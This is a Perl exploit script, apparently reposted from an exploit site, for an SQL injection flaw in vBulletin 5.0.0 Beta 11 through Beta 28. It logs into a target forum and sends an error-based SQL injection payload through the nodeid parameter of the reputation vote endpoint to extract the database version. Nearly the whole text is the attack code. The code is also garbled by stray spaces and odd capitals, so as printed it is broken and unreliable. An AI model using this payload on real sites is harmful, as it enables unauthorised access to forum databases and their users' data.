VBulletin 5.0.0 Beta 11-Beta 28 SQL Injection

# Title: vBulletin 5 Beta XX SQLi 0day # keywords: "Powered by vBulletin™Version 5.0.0 Beta "# Author: Orestis Kourides # Official Website: www.vbulletin.com # affected Version: 5.0.0 Beta 11-5.0.0 Beta 28 # Four platforms: Linux #! /Usr/bin/perl use LWP: UserAgent; use HTTP: Cookies; use HTTP: Request: Common; use MIME: Base64; system $ ^ O eq 'mswin32 '? 'Cls': 'clear '; print "+ ============================================ ===============+ | vBulletin 5 Beta XX SQLi 0day | author Orestis Kourides | Web Site: www.2cto.com | + ======================================== =================+ "; if (@ ARGV! = 5) {print "\ r \ nUsage: perl vb5exp. pl WWW. HOST. com vbpath uruser urpass magicnum \ r \ n "; exit ;}$ host = $ ARGV [0]; $ path = $ ARGV [1]; $ username = $ ARGV [2]; $ password = $ ARGV [3]; $ magicnum = $ ARGV [4]; $ encpath = encode_base64 ('HTTP ://'. $ host. $ path); print "[+] Logging \ n"; print "[+] Username :". $ username. "\ n"; print "[+] Password :". $ password. "\ n"; print "[+] MagicNum :". $ magicnum. "\ n"; print "[+]". $ Host. $ path. "auth/login \ n"; my $ browser = LWP: UserAgent-> new; my $ cookie_jar = HTTP: Cookies-> new; my $ response = $ browser-> post ('HTTP ://'. $ host. $ path. 'auth/login', ['url' => $ encpath, 'username' => $ username, 'Password' => $ password,], Referer => 'HTTP: //'. $ host. $ path. 'auth/login-form? Url = http ://'. $ host. $ path. '', User-Agent => 'mozilla/5.0 (Windows NT 6.1; rv: 13.0) Gecko/20100101 Firefox/123456 ',); $ browser-> cookie_jar ($ cookie_jar); my $ browser = LWP: UserAgent-> new; $ browser-> cookie_jar ($ cookie_jar ); print "[+] Requesting \ n"; my $ response = $ browser-> post ('HTTP ://'. $ host. $ path. 'Index. php/ajax/api/reputation/vote', ['nodeid' => $ magicnum. ') and (select 1 from (select count (*), Concat (select concat (0x23, cast (version () as char), 0x23) from information_schema.tables limit 0, 1), floor (rand (0) * 2) x from information_schema.tables group by x) a) AND (1338 = 1338 ',], User-Agent => 'mozilla/5.0 (Windows NT 6.1; rv: 13.0) gecko/20100101 Firefox/13.0 ',); $ data = $ response-> content; if ($ data = ~ /(#((\\.) | [^ \ #]) * #)/) {Print '[+] Version :'. $1}; print "\ n"; exit 1;